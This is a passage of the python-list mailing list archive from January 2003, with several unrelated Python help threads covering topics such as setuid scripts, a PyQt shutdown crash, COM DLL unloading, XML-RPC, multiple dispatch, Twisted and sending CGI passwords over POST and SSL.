> 
> Laura
> 

I am working on the next release of 'twander' - a user-programmable
file manager/browser (http://www.tundrware.com/Software/twander).
I want to be able to temporarily go to super-user status so the
program can act upon/manage/manipulate root-owned files.

I have another way to accomplish this - I can write a 'twander'
macro that issues the necessary 'su' stuff to instantiate
an image of itself with root permissions.  I was just wondering
if there was some reasonable (safe) mechanism for doing this within
a single instance of the program.  This is similar in spirt to
sysadmin programs under Linux which allow you to enter the root
password so they can operate on the system without you having
to to log in the whole session as root.

I am curious about one thing you said - that setuid is ok for selected
(compiled) programs but not scripts.  If the script has appropriate
limitations on who can modify it, why is setuid/setgid worse for
scripts than compiled programs?

Thanks for your time,

-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From florian.proff.schulze at gmx.net  Fri Jan 17 11:06:48 2003
From: florian.proff.schulze at gmx.net (Florian Schulze)
Date: Fri, 17 Jan 2003 17:06:48 +0100 (Westeuropäische Normalzeit)
Subject: buffer overflow
In-Reply-To: <200301170536.VAA09625@mail.arc.nasa.gov>
References: <LNBBLJKPBEHFEDALKOLCEEOFDIAB.tim.one@comcast.net><200301170536.VAA09625@mail.arc.nasa.gov>
Message-ID: <Mahogany-0.64.2-296-20030117-170648.00@crowproductions.de>

On Thu, 16 Jan 2003 21:36:10 -0800 Chad Netzer <cnetzer at mail.arc.nasa.gov> wrote:

> On Thursday 16 January 2003 20:47, Tim Peters wrote:
> 
> > [Martin v. Loewis]
> > > Python does not support buffer overflows, sorry.
> 
> > [pmaney at pobox.com]
> > > I'm sure they could be added by a C extension module.
> >
> > They already were, and, curiously enough, by the builtin
> > bufferobject.c. That supplies the builtin, little understood, and
> > easily abused buffer object.  For fun, run this:
> 
> [snip]
> 
> > Chances are high it will die with a segfault before going around the
> > loop 20 times,
> 
> My Debian Linux system seems to be missing this feature, in either 2.1 
> or 2.2.
> 
>   <:-)> I thought python code was supposed to be portable. </:-)>
> 
> -- 
> Bay Area Python Interest Group - http://www.baypiggies.net/
> 
> Chad Netzer
> 
> 


This should easily be resolved by proper reference counting. Then it would
point to the old list object, but I think seen pythonically this is even
correct.

Florian








From max at alcyone.com  Mon Jan 13 20:17:49 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 13 Jan 2003 17:17:49 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: 
 [ann]MinimalPython project)
References: <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <vAsU9.66$_d2.118955@news.uswest.net> <5ItU9.7305$Dq.767535@newsread2.prod.itd.earthlink.net> <3E228E81.81B0FACD@alcyone.com> <N0EU9.8308$Qr4.813921@newsread1.prod.itd.earthlink.net>
Message-ID: <3E23653D.7BB0F745@alcyone.com>

Terry Hancock wrote:

> Agreed, but on the other extreme, if it's too common, it will get
> buried in
> unrelated fluff.

Indeed.  But Python itself already has that problem to some extent,
since Monty Python is outrageously popular and the language was named
after it.  (Fortunately, it's relatively easy to find
Python-the-language with searches like "python language" or "python
-monty" but the collision is already there and was there from the
start.)

> Haven't found another really good one, though. Hmm. The only Monty
> Python
> reference that comes to my mind is the Deja Vu sketch, ...

I think one major Monty Python reference (the name of the language
itself) is way more than enough for an entire community :-).

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Describe a circle, stroke its back and it turns vicious.
\__/ Ionesco
    The laws list / http://www.alcyone.com/max/physics/laws/
 Laws, rules, principles, effects, paradoxes, etc. in physics.



From missedby2inches at gmx.net  Sat Jan 25 12:47:39 2003
From: missedby2inches at gmx.net (Two Inches)
Date: Sat, 25 Jan 2003 18:47:39 +0100
Subject: Using ActiveX objects in Win32
In-Reply-To: <ttyY9.30486$eM6.43059@rwcrnsc51.ops.asp.att.net>
References: <ttyY9.30486$eM6.43059@rwcrnsc51.ops.asp.att.net>
Message-ID: <b0uii3$r13$1@mamenchi.zrz.TU-Berlin.DE>

bap wrote:
> Can anyone point me to documentation on how to use ActiveX objects in a
> Windows environement.
> I know of the anydll module for dlls -- does this work for ActiveX object?
> I'm looking for the equivalent of
> "createobject()" in VB
> Thanks
Have a look at Mark Hammond's win32 extensions. It has a win32com 
package for such things.

http://starship.python.net/crew/mhammond/win32/Downloads.html




From cnetzer at mail.arc.nasa.gov  Fri Jan 31 17:46:13 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: 31 Jan 2003 14:46:13 -0800
Subject: Setting a Global Default for class construction?
In-Reply-To: <b1erj009ok@enews3.newsguy.com>
References: <b1erj009ok@enews3.newsguy.com>
Message-ID: <1044053173.1118.41.camel@sayge.arc.nasa.gov>

On Fri, 2003-01-31 at 13:58, Josh English wrote:
> Here is the code that I am struggling with in a Python module:
> 
> _Thing = "it"
> 
> def SetThing(s):
> 	global _Thing
> 	_Thing = str(s)
> 
> class NewThing:
> 	def __init__(self,thing=_Thing):
> 		self.Thing = _Thing
> 
> I thought that this would work if I called:
> 
>  >>>SetThing('hallo')
>  >>>a = NewThing()
>  >>>a.Thing
> 'it'
> 
> I would expect a.Thing to return 'hallo', not 'it'. Is this possible to 
> do in Python?

It does return 'hallo' for me, in Python 2.2, 2.1, and 1.5.  Are you
sure what you posted is exactly what you have tested?  In particular,
the "global _Thing" in SetThing() is crucial.

Of course, globals are evil. :)  Couldn't you just do:

a = NewThing( 'hallo' )

and live happily (you'd have to fix the init code, btw)?


-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)






From skip at pobox.com  Sat Jan  4 10:52:42 2003
From: skip at pobox.com (Skip Montanaro)
Date: Sat, 4 Jan 2003 09:52:42 -0600
Subject: Newbie question on Re module
In-Reply-To: <3E17002B.8E67641E@pobox.com>
References: <Xns92F5826AE2F65jslmAAearthlinknet@130.133.1.4>
        <mailman.1041678186.20077.python-list@python.org>
        <3E17002B.8E67641E@pobox.com>
Message-ID: <15895.842.530213.183424@montanaro.dyndns.org>

    Tom> Andrew McGregor wrote:
    >> if str.index('binaries') == -1:
    >>   # then str did not contain the word.

    Tom> Python 2.2 doesn't return -1 when string.index fails; it raises a
    Tom> ValueError exception. Are there older versions of Python that
    Tom> return -1?

Nope.  Should be str.find().

Also, note that str() is the constructor for strings (resides in the builtin
namespace) and is probably not the best choice for a local variable.  It's
one you're likely to need from time to time.





From shawnwheatley at mailcan.com  Fri Jan 24 10:37:39 2003
From: shawnwheatley at mailcan.com (shawnwheatley at mailcan.com)
Date: Fri, 24 Jan 2003 07:37:39 -0800
Subject: Books for newbies
In-Reply-To: <3C364233-2F2E-11D7-A454-000393DC08EA@mac.com>
References: <3C364233-2F2E-11D7-A454-000393DC08EA@mac.com>
Message-ID: <20030124153739.B57EF20C5A@www.fastmail.fm>

On Thu, 23 Jan 2003 15:56:05 -0800, "Tyson Tate" <nilobject at mac.com>
said:
> My first post! (Everyone, now, "noob!")

n00b!  (Just kidding... I've only been toying with it for a few months
now :)

One link I like is Useless Python:
http://www.uselesspython.com/

Contrary to the name, I've been able to find some interesting code
snipits here.  Also, do a search for Dr. Dobb's Python Links (or
something like that).  It's posted to the mailing list every few weeks,
but I know there's a link to the archives of these lists somewhere (I
have to make you do *some* work, how else will you learn?  :)

Another good link is Dive Into Python:
http://www.diveintopython.org/

It's a good book if you already have some programming experience in
another language.

Good luck and have fun!
Shawn

-- 
  
  shawnwheatley at mailcan.com

-- 
http://fastmail.fm - Or how I learned to stop worrying and
                      love email again




From vecernik at aon.at  Tue Jan  7 06:19:15 2003
From: vecernik at aon.at (Oliver Vecernik)
Date: Tue, 07 Jan 2003 12:19:15 +0100
Subject: iteration over methods
Message-ID: <3E1AB7B3.4050404@aon.at>

Hi!

I've got an object with some methods:

class Someclass(self):
     def __init__(self):
         pass
     def method1(self):
         pass
     def method2(self):
         pass
     ...
     def runallmethods(self):
         for func in dir(self):
             if func[0:4] == 'method':
                 apply(self.func) # Does *not* work!

I'd like to run all methods named 'method...' in a sequence. Has anybody 
a clue how to achive this?

Best Regards,
Oliver




From tjreedy at udel.edu  Wed Jan 29 19:49:13 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 29 Jan 2003 19:49:13 -0500
Subject: Test from a newbster
References: <mailman.1043875207.27442.python-list@python.org>
Message-ID: <x0adnUUrp40r6qWjXTWc3A@comcast.com>

"Hutchins, Mike" <mhutchins at amr-corp.com> wrote in message
news:mailman.1043875207.27442.python-list at python.org...
Have my messages been getting through?

Yes, 2 of them at least





From theller at python.net  Thu Jan 23 15:31:54 2003
From: theller at python.net (Thomas Heller)
Date: 23 Jan 2003 21:31:54 +0100
Subject: Unloading COM dlls, help needed
Message-ID: <r8b3sj45.fsf@python.net>

Sorry for the somewhat offtopic question, but I know here is an
interested and competent audience available to answer questions.

Background:

I'm implementing a COM server framework in pure Python (TM) on base of
the ctypes module.

Everything works very nice - I have a Shell Extension which extends
the Explorer context menu for .py files, it lets you run tools like
PyChecker and reindent.  I have also started some ActiveX controls
which can be shown in several containers, IE among them (not all
possible interfaces are implemented, but it is already very
interesting).

Everything - except the dlls (_ctypes.pyd, together with python22.dll
and others) are never unloaded from the process.  This makes
development very slow, I have to restart Explorer each time I want to
change the source files.

I think I got everything correct, COM reference counting seems OK,
DllCanUnloadNow returns correct values, all I can think of.

A control implemented in ATL, IIRC, behaves different.

Reading through the MSDN docs shows that it may take 10 minutes after
the call to CoFreeUnusedLibraries() before the dlls are actually
unloaded, I've even waited longer, but nothing happpens.

This leads me to my question: Are there any other things that may
prevent dlls from being unloaded by COM?

My understanding is that each DLL mapped into a process has an
internal reference count, and the DLL is unloaded when this reaches
zero.  Since Python itself calls LoadLibrary on the _ctypes.pyd (which
is the COM dll), can it be that this circular reference between the
dlls prevent unloading?  Oh, btw: is there *any* way to get this
refcount?

Or could it simply be that unmatched CoInitialize/CoUninitialize calls
are responsible?

Note that I've read the pycom-dev archives the reason why Mark's
PythonCOM is never unloaded - it returns S_FALSE from
DllCanUnloadNow() because Python can never be shutdown safely in a
running process, but I want to try it anyway.

Any help appreciated,

Thomas



From hancock at anansispaceworks.com  Mon Jan  6 22:50:36 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Tue, 07 Jan 2003 03:50:36 GMT
Subject: good name for a dict/list hybrid
References: <avd4ti$2jr$1@slb0.atl.mindspring.net>
Message-ID: <g8sS9.20732$9N5.1854174@newsread2.prod.itd.earthlink.net>

Andrew Dalke wrote:
> I can't figure out what to call this thing.  I chose "DictList"
> because it's a hybrid between a dictionary and a list, but that's
> a bad name since it can be confused with a dictionary of lists, or
> a list of dictionaries.
> 
> This sort of data structure must be common.  Eg, headers in email
> act like this.  (rfc822.py provides no hints for a name.)

Yeah, I've thought of implementing one before.

> What should I use?

"Table" comes to mind.  Might collide with some other meaning, but I can't 
think of one off hand.

> Code will be posted after I get a good name.  :)

Heh. A bribe, huh?

Cheers,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From hat at se-46.wpa.wtb.tue.nl  Tue Jan 21 11:34:49 2003
From: hat at se-46.wpa.wtb.tue.nl (Albert Hofkamp)
Date: Tue, 21 Jan 2003 16:34:49 +0000 (UTC)
Subject: PyQT-application crash when shutting down
Message-ID: <slrnb2qtlb.45c.hat@se-46.wpa.wtb.tue.nl>

Hello all,

I am writing an animation application using PyQt at a Redhat 7.2 machine
(RPM: PyQt-devel-3.1-2).
The application seems to be working fine, but when I press the 'Quit'
button (which sends a 'clicked' signal to the 'quit' slot of the main
application), I get a "segmentation fault".
Below is a stripped-down application that demonstrates the problem (at
least at my machine):

#!/usr/bin/python1.5
#
import sys
from qt import *

class QuitButton(QPushButton):
    def __init__(self,*args):
	apply(QPushButton.__init__,(self,)+args)
	self.setText("Quit")


class AnimationWidget(QWidget):
    def __init__(self,*args):
	apply(QWidget.__init__,(self,)+args)

	# Set default background
	self.setBackgroundMode(QWidget.PaletteBase)

    def paintEvent(self,ev):
	pen = QPen()
	pen.setWidth(1)
	pen.setColor( QColor(125,253,32) )

	painter=QPainter(self)
	painter.setPen(pen)
	painter.drawRect(50,50,50,30)


class ApplicationWindow(QFrame):
    def __init__(self,*args):
	apply(QFrame.__init__,(self,)+args)

	self._quit=QuitButton(self)
	self._animation=AnimationWidget(self)

	self._grid=QGridLayout(self,2,2)	# 2rows, 2 columns
	self._grid.setColStretch(1,2)
	self._grid.setRowStretch(0,2)
	self._grid.addWidget(self._quit,1,0)   # quit button at row 1, col 0
	self._grid.addMultiCellWidget(self._animation,0,0,0,1)
		# animation widget in row 0, columns 0 and 1


if __name__ == '__main__':
    app=QApplication(sys.argv)
    aw=ApplicationWindow()
    app.setMainWidget(aw)
    app.connect(aw._quit,SIGNAL("clicked()"),app,SLOT("quit()"))
    aw.show()
    app.exec_loop()

I don't understand why this happens. If the application is closed with the
'close window' button, it exits without problems.

Any ideas?


Albert
-- 
Unlike popular belief, the .doc format is not an open publically available format.



From hwlgw at hotmail.com  Sat Jan 25 06:36:37 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 25 Jan 2003 03:36:37 -0800
Subject: Something like asynchronous XML-RPC possible?
References: <mailman.1043454645.26543.python-list@python.org>
Message-ID: <cb035744.0301250336.4f378943@posting.google.com>

[Laura Creighton]

> > In this case, it might be well to implement an 'it is easier to get
> > forgiveness than permission' policy. 'Convincing the boss that this is
> > a bad idea' is a better plan than 'doing it anyway even though it is
> > a bad plan because it is too hard to explain this to the boss'.  This 
> > is
> > due to the difficulty of 'doing it anyway' regardless of the difficulty
> > of 'explaining to the boss'.


[Stuart Bishop]

> And if you havn't already guessed, I don't think that there are any
> RPC mechanisms that use UDP as their transport protocol. RPC mechanisms
> are usually designed so they can return a result, which is not what UDP
> is good at. So you'll have to write your own and make the square peg
> fit the round hole.

Thank you and Laura and others for your comments and all.  Ammunition
for my next meeting :)

I can think of one argument they will confront me with I do not have a
good answer for.  It is the "blocking caller" or "inefficient thread
creation" thing.   As Stuart guessed, the application is indeed sort
of realtime, they want the caller to continue processing *immediately*
after sending the event to the server.  The prototype I have now does
send an event by means of an XML-RPC call in a separately created
thread (just using pythons' nice ``thread.start_new()``) because it
*has* to receive a return value from the server even though it will
never look at it.  If they say that creating a thread for this is
highly inefficient and a wrong design, what should my answer be?

Stuarts' "industry standard" arguments are very nice, I expect they
will help a lot in deciding in favor of TCP and XML-RPC and HTTP(S)
and "doing what everybody does", which would be much easier for me :)



From bruce at hoult.org  Thu Jan  2 14:40:47 2003
From: bruce at hoult.org (Bruce Hoult)
Date: Fri, 03 Jan 2003 08:40:47 +1300
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org> <3e14589e_5@news.bluewin.ch>
Message-ID: <bruce-D01C1E.08404703012003@copper.ipg.tsnz.net>

In article <3e14589e_5 at news.bluewin.ch>,
 "Samuele Pedroni" <pedronis at bluewin.ch> wrote:

> > As well, I decided to make dispatch resolution order configurable.
> > Hochberg's example was perhaps naive in fixing resolution order
> > according to definition order.  That seems a little fussier than I would
> > want.  So I made that configurable as well, and provide four sample
> > resolution functions.  Two are naively definition-order based (either
> > forward or reversed).  But two others are perhaps better candidates:
> > 'lexicographic_mro()' and 'weighted_mro()'.  If I understand correctly
> > (which I may not), the first follows Dylan, the second follows Damian
> > Conway' Class::Multimethods.  I would be interested to understand other
> > examples, particularly CLOS.  I have little intuition about what is the
> > "right" answer.
> 
> lexicographic is default CLOS approach, in Dylan:
> 
> given B isa A,  then the signatures
> 
> (B,A)
> (A,B)
> 
> would be ambiguous. (but if I recall correctly some(one) Dylan impl use the
> CLOS ordering and not the Dylan one, oh well).

Functional Objects' Dylan system started with a lot of code that is 
based closely on libraries from CLOS and depends ont the CLOS ordering.  
I think they try to use the Dylan ordering, and if it ambiguous then 
they fall back to CLOS.

-- Bruce



From peter at engcorp.com  Sun Jan 26 12:29:31 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 26 Jan 2003 12:29:31 -0500
Subject: Learning to use threads.
References: <0bFY9.9226$ZA1.2287565@twister.nyroc.rr.com> <mailman.1043539606.7602.python-list@python.org> <BtTY9.13607$7A4.2781037@twister.nyroc.rr.com> <3E340C01.6C4E35B8@engcorp.com> <RkUY9.13768$7A4.2842016@twister.nyroc.rr.com>
Message-ID: <3E341AFB.38DD6059@engcorp.com>

Grumfish wrote:
> 
> Peter Hansen wrote:
> > If, however, this custom method starts directly manipulating data
> > in the thread object, you could quickly get into trouble if you
> > don't know about thread synchronization issues.
> 
> What if the only thing the method changes in the thread object is a
> Queue. Is that safe?

Yes.  (Although as an engineer I'm obliged to point out to you that 
without knowing the details of your requirements, and seeing your
actual code, I'm not providing advice which takes into account
all the special nuances of your application and you shouldn't rely
on my confirmation in applications involving life safety, or where
mistakes could cause material loss or affect the public health, 
blah blah blah.  ;-)  )

-Peter



From johnroth at ameritech.net  Sat Jan 18 17:32:22 2003
From: johnroth at ameritech.net (John Roth)
Date: Sat, 18 Jan 2003 17:32:22 -0500
Subject: PEP 8: on member variables vs. attributes
References: <f57664b9.0301170041.46cc103e@posting.google.com> <f57664b9.0301171939.387f4351@posting.google.com>
Message-ID: <v2jldr50u9fge7@news.supernews.com>

"Jonathan P." <jbperez808 at yahoo.com> wrote in message
news:f57664b9.0301171939.387f4351 at posting.google.com...
> > From PEP 8:
> >
> > Designing for inheritance
> >
> >       ...  In general, never make data
> >       variables public unless you're implementing essentially a
> >       record.  It's almost always preferrable to give a functional
> >       interface to your class instead (and some Python 2.2
> >       developments will make this much nicer)...
>
> I get both your points.  I guess my precise question would
> be:  Doesn't the recommendation to use properties (for
> its syntactic sugar benefits) essentially deprecate the
> suggestion to make a 'functional' interface to your class?
> Properties, after all, are identical in usage to attributes.
> I guess better clarifying language is needed in the PEP.

If it looks like a variable, use a property. If it does something,
use a method.

Variables don't cause any action when they are retrieved
or set. They may very well change other actions later, but
they don't have any immediate behavior.

Functions do. That's the basic difference, and it's that
guarantee that makes your code clear.

John Roth





From donnalcwalter at yahoo.com  Mon Jan 27 17:29:59 2003
From: donnalcwalter at yahoo.com (Donnal Walter)
Date: Mon, 27 Jan 2003 16:29:59 -0600
Subject: matching keyword arguments to specific methods
Message-ID: <b14bq2$ttb$1@main.gmane.org>

Is there a better Python idiom than the following code for calling a method
by name if and only if the method exists?

            if key in dir(self):
                self.__class__.__dict__[key](self, kw[key])

What I want to do is handle keyword arguments with methods that have the
same name as the keywords, something like this:

class MyBase(object):
    def __init__(self, **kw):
        for i in kw:
            if i in dir(self):
                self.__class__.__dict__[i](self, kw[i])

class MyTest1(MyBase):

    def default(self, val):
        # other processing here
        print val

    def choices(self, val):
        # other processing here
        for i in val:
            print i

class MyTest2(MyBase):

    def limits(self, val):
        # other processing here
        for i in val:
            print i


x = MyTest1(default='hello', choices = ('hi', 'hello', 'greetings'))
y = MyTest2(default='100', limits=(0, 1000))

Thanks,
Donnal Walter
Arkansas Children's Hospital







From phr-n2002b at NOSPAMnightsong.com  Tue Jan 14 07:03:23 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 14 Jan 2003 04:03:23 -0800
Subject: passwords to CGI
References: <cb035744.0301140219.590608ae@posting.google.com> <7xbs2kt246.fsf@ruckus.brouhaha.com> <3E23F3DA.EB485C59@alcyone.com>
Message-ID: <7x7kd83pmc.fsf@ruckus.brouhaha.com>

Erik Max Francis <max at alcyone.com> writes:
> > You should stop looking for kludgy workarounds and fix whatever is
> > wrong with POST.  POST is the right way to deal with this type of
> > thing.  Otherwise the password appears not only in the browser but
> > also in the server http log.
> 
> Ultimately the password is flying around the Internet in plaintext. 
> This is simply not acceptable for many applications.  The proper,
> complete solution is HTTP over SSL.

It's ok for some applications but not others.  That's a matter for the
application developer to decide.  Think of how many unencrypted voice
phone calls made every day.  Those are also vulnerable to (legal or
illegal) wiretapping, but most people think phones are secure enough
for most conversations.

> > Alternatively, instead of submitting a password to a cgi, use HTTP
> > Basic authentication.  That lowers your UI flexibility a little bit,
> > but makes the server side programming a little simpler.
> 
> HTTP authentication still has passwords flying around in plaintext,
> however.

If you're using SSL, then it encrypts any HTTP Basic auth passwords
just like it encrypts the other http traffic.

Either way, SSL doesn't solve the problems that result from submitting
passwords with GET instead of POST.



From t_beaty at mchsi.com  Wed Jan  8 06:40:16 2003
From: t_beaty at mchsi.com (Travis Beaty)
Date: Wed, 08 Jan 2003 11:40:16 GMT
Subject: Starting a python GUI from another python GUI.
References: <ur8bo12g6.fsf@dnv.com>
Message-ID: <A6US9.283917$qF3.27667@sccrnsc04>

Hello Jens!

I'm an extreme newbie myself, however ...

Since you are developing in Windows, I have a sneaking suspicion that 
its not pythonw generating the console window, but rather your call to 
os.system().  In Python's win32API wrappers, they have wrapped a 
function by the name of ShellExecute().  You can find the MSDN 
documentation for this function here: 
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/shellcc/platform/shell/reference/functions/shellexecute.asp. 
  The Python documentation is here: 
http://aspn.activestate.com/ASPN/Python/Reference/Products/ActivePython/PythonWin32Extensions/win32api__ShellExecute_meth.html


Using ShellExecute() **should** keep the console window from opening, 
but no guarantees.  (I don't have Windows, so I can't test my theory, 
sorry.)  Hope I've helped.

Have a wonderful day!

Travis Beaty
Mason City, Iowa.


Jens Bloch Helmers wrote:
> I'm trying to launch a python GUI from another python program
> using the command:
> 
>      os.system('pythonw GUIapp.py')
> 
> but an unnecessary console window pops up when the above statement is
> executed despite the use of pythonw.exe instead of python.exe.
> A funny thing is that no console window appear if the above statement
> is executed from a non-GUI python script.
> 
> What is the best way to launch a stand-alone python GUI from another
> python GUI? (Without console windows...)
> 
> (I'm using python2.2.2 / winXP / wxpython2.3.4.2)
> 
> Jens
> Python Newbie




From reageer.in at de.nieuwsgroep  Thu Jan 23 17:43:40 2003
From: reageer.in at de.nieuwsgroep (Rene Pijlman)
Date: Thu, 23 Jan 2003 23:43:40 +0100
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com>
Message-ID: <8qr03vslc5t4vsg95kba2sr8f8u6okp2ep@4ax.com>

Michael Tiller:
>In C++, I could write a statement like this:
>if (match=re.match(pattern, string))
>But I cannot figure out how to do the equivalent thing in Python. 

"This issue comes up in the Python newsgroup with alarming
frequency"
http://www.python.org/doc/FAQ.html#6.30

-- 
Ren? Pijlman

Wat wil jij leren?  http://www.leren.nl



From andrew-pythonlist at puzzling.org  Thu Jan 30 20:14:27 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Fri, 31 Jan 2003 12:14:27 +1100
Subject: Scripting *of* Python
In-Reply-To: <b1bqhn$kna$1@jura.cc.ic.ac.uk>
References: <b1bj7a$i9o$1@jura.cc.ic.ac.uk> <b1bnhb$326$1@panix2.panix.com> <b1bqhn$kna$1@jura.cc.ic.ac.uk>
Message-ID: <20030131011427.GC14761@frobozz.local>

On Thu, Jan 30, 2003 at 06:20:15PM +0000, Phil Mayers wrote:
> On Thu, 30 Jan 2003 12:31:23 +0000, Aahz wrote:
> > 
> > Based on what you've said, I'd suggest looking into switching to
> > Twisted, http://www.twistedmatrix.com/products/twisted
> 
> I have seen Twisted. It seems to be a very popular recommendation in c.l.p
> of late ("I have incurable narcolepsy", "I recommend using Twisted" - :o)

Woo!  Looks like my recent efforts haven't gone unnoticed ;)

> However, the main problem is not with the async engine, which works fine,
> it's with the code that runs *inside* the async engine *looking like*
> async code.
> 
> My brain can cope with that - the people I'm writing it for probably
> cannot, and I'm being paid to come up with a solution that middle- to
> low-tier programmers can drive.
> 
> http://www.twistedmatrix.com/documents/howto/async
> 
> ...this document seems to imply that the only extra stuff Twisted gives
> you is the Deferred class/type for return values, which is basically
> what I've written in my engine. In fact, the Twisted doco more succinctly
> summarises the problem:
[..snip..]

Well, Twisted gives you *lots* of extra stuff (beyond what your average
person would consider relevant to something that claims to be a "networking
framework"...), but yeah, Deferreds are the most immediately applicable to
your problem.

> Yes, quite - but I don't think this state machine can be abstracted out to
> be "clear enough" - hence the scripting language and virtual
> multithreading suggestion.

Have you looked at the source to twisted.protocols.smtp.SMTPClient?  It's a
very simple and elegant way to do state machines in Python.  Note that it is
built upon twisted.protocols.basic.LineReceiver, which is another state
machine... hopefully this gives you some idea of how you can layer your
state machines in your own code.

> I will almost certainly switch to using Twisted if I can:
> 
> a) Shoehorn the virtual multithreading idea in, or find a better one
> b) Find the time before I need the code working
> 
> ...since it's clearly going to be better than an async engine I can write.

We like to think so ;)

-Andrew.





From simon at rendermania.com  Sat Jan  4 15:58:03 2003
From: simon at rendermania.com (Simon Bunker)
Date: Sat, 4 Jan 2003 20:58:03 -0000
Subject: new years resolutions
References: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE7C@admin56.narex.com> <mailman.1041708488.14181.python-list@python.org>
Message-ID: <av7hmd$v5p$1@news6.svr.pol.co.uk>

Might a better definition be that a programming language program that can
take data input and act on it to produce a particular output?

HTML does have a lot of variables defined, but HTML itself cannot do
anything with these without Javascript/PHP/Perl/Python/C/some programming
language. The borwser has been created by a programming language and takes
the HTML as data.

Then again python source code is data too until you take it through the
interpretter. Running a python module is running a program, viewing a
webpage isn't.

Simon
--
http://www.rendermania.com/

"Cliff Wells" <clifford.wells at attbi.com> wrote in message
news:mailman.1041708488.14181.python-list at python.org...
> On Sat, 2003-01-04 at 08:46, Bjorn Pettersen wrote:
> > > From: andy [mailto:andy at eastonwest.co.uk]
> > [...]
> > > On a purely personal level, I *feel* that programming, to me,
> > > is solving a problem by the use of a computer-programming
> > > language.  To me, HTML coding doesn't *feel* like that, but
> > > maybe that's because I'm not very *good* at it...  I think
> > > its because of the lack of control structures (I am trying to
> > > self-analyse to figure out what I mean)... having said that,
> > > I suppose tables, for instance resemble control structures...
> > [...]
> >
> > I told myself I wasn't going to keep this thread alive anymore, but then
> > who said I was either principled or consistent <wink>.
>
> Probably many people who responded to this thread told themselves the
> same thing, so you're at least consistent with them (myself included)
> <wink>
>
> > I think the above is the crux of the problem however. Ask yourself (i)
> > would I write HTML pages differently if I considered it programming?,
> > (ii) would I write Python programs differently if I considered writing
> > HTML programming?, (iii) would I view people writing HTML differently if
> > they were allowed to call it programming?, and finally, (iv) do I think
> > other people would view me differently if writing HTML was also
> > considered programming?
> >
> > My personal answers are no, no, no, and I don't care. Wheter writing
> > HTML is programming makes no difference to anything I'm doing, nor do I
> > expect, does it to any of our web designers. It's a fact of life that I
> > couldn't do their work, and they couldn't do mine -- and I don't have
> > enough hubris to suggest that my work is either harder, more important,
> > or more meaningful (I'm having a hard time seeing another reason for
> > making a distinction... i.e. tell my _why_ you want do make a
> > distinction and the "how" should be much easier). Besides, even I end up
> > writing a lot of HTML (aka documentation) -- should I change my title to
> > "Software Architect/HTML writer" <wink>? (As an experiment, try telling
> > your boss you don't want to write documentation, in HTML, since you're a
> > _programmer_ <grin>).
> >
> > Finally, it seems rather silly to try to define set membership (is HTML
> > in the set of programming languages?) as a all or nothing (function
> > returning either 0 or 1) when (a) you don't have a concrete definition,
> > (b) it seems to rely on a combination of factors in varying degrees, and
> > (c) a good number of the people interested all but define it as the
> > intent _they're_ having when _they're_ writing HTML ("HTML is something
> > I use for documentation, for my _real_ work I use X".) For a much better
> > (or at least more interesting) approach google for "Russel's paradox"
> > and "fuzzy logic".
>
> I think the thing that gave this thread its energy was because it was
> started by someone flaming a newbie over a fairly trivial and offhand
> remark.  That tends to get people's hackles up and the lines get drawn
> fairly quickly.  Once people have announced their positions they are
> reluctant to withdraw from that position and yet are too polite (thank
> you) to invoke the Hitler clause bringing the thread to its logical
> conclusion and yet can't quite stop arguing.
>
>
> > ok-I'll-shut-up-now'ly y'rs
>
> *Sure* you will <wink>:  self.consistency -= 1
>
>
> Arguments-are-the-crack-pipe-of-usenet'ly yrs,
>
> --
> Cliff Wells <clifford.wells at attbi.com>
>
>





From peter at engcorp.com  Thu Jan 16 10:51:02 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 16 Jan 2003 10:51:02 -0500
Subject: [OT] help on ZOPE
References: <b06jbq$hd4$1@panco.nettuno.it>
Message-ID: <3E26D4E6.D0C7E6F3@engcorp.com>

Michele Leoncelli wrote:
> 
> i'm sorry for this OT message, i need help with ZOPE and i thought this was
> the best newsgroup where i could find some info.
> I can't find a Zope Newsgroup or Mailinglist,does someone know where i can
> find help?

Sometimes the Mailing List link on the main Zope page can be a little
hard to find, nestled under Community as it is.  Go here directly for help:

  http://www.zope.org/Resources/MailingLists

-Peter



From max at alcyone.com  Mon Jan  6 20:48:23 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 06 Jan 2003 17:48:23 -0800
Subject: python 2.2.2 on hpux11.0
References: <461d4acb.0301061720.fe0bcfd@posting.google.com>
Message-ID: <3E1A31E7.F8D69DEB@alcyone.com>

You wrote:

> I did fresh install on hpux 11.00 (typical install).  I then tried
> installing python 2.2.2 and it gave errors in make.  Actually during
> configure it has many "no" output.
> 
> could one guide how to proceed?

Some more information is going to be required if anyone is going to help
you.  As in the exact errors you got.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ You'll be screaming it later / Scream my name
\__/ Lamya
    Max Pandaemonium / http://www.maxpandaemonium.com/
 A sampling of Max Pandameonium's music.



From andrew  Wed Jan  8 15:28:51 2003
From: andrew (Andrew Lee)
Date: Wed, 08 Jan 2003 15:28:51 -0500
Subject: These are discouraging stats to Perlistas & Pythonistas...
References: <776e0325.0301070721.7405a312@posting.google.com> <VfDS9.4230$Fj2.2514015@news2.news.adelphia.net> <eYFS9.18484$xb.14542@nwrddc02.gnilink.net>
